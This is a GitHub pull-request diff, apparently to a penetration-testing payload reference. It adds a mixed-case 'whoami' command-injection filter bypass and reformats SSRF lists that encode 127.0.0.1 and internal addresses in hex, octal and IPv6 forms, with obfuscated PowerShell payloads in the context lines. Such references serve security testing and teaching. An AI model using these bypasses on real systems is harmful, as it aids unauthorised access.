Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 9 additions & 0 deletions Command Injection/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,7 @@
* [Bypass With $()](#bypass-with--1)
* [Bypass With Variable Expansion](#bypass-with-variable-expansion)
* [Bypass With Wildcards](#bypass-with-wildcards)
* [Bypass With Random Case](#bypass-with-random-case)
* [Data Exfiltration](#data-exfiltration)
* [Time Based Data Exfiltration](#time-based-data-exfiltration)
* [Dns Based Data Exfiltration](#dns-based-data-exfiltration)
Expand Down Expand Up @@ -349,6 +350,14 @@ powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
```

### Bypass With Random Case

Windows does not distinguish between uppercase and lowercase letters when interpreting commands or file paths. For example, `DIR`, `dir`, or `DiR` will all execute the same `dir` command.

```powershell
wHoAmi
```

## Data Exfiltration

### Time Based Data Exfiltration
Expand Down
5 changes: 4 additions & 1 deletion Server Side Request Forgery/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -178,7 +178,9 @@ http://127.0.1
http://0o177.0.0.1/ = http://127.0.0.1
http://q177.0.0.1/ = http://127.0.0.1
```
* Hex IP

* Hex IP

```powershell
http://0x7f000001 = http://127.0.0.1
http://0xc0a80101 = http://192.168.1.1
Expand All @@ -205,6 +207,7 @@ http://127.0.1
### Bypassing via ipv6 hostname

* in Linux /etc/hosts contain this line `::1 localhost ip6-localhost ip6-loopback` but work only if http server running in ipv6

```powershell
http://ip6-localhost = ::1
http://ip6-loopback = ::1
Expand Down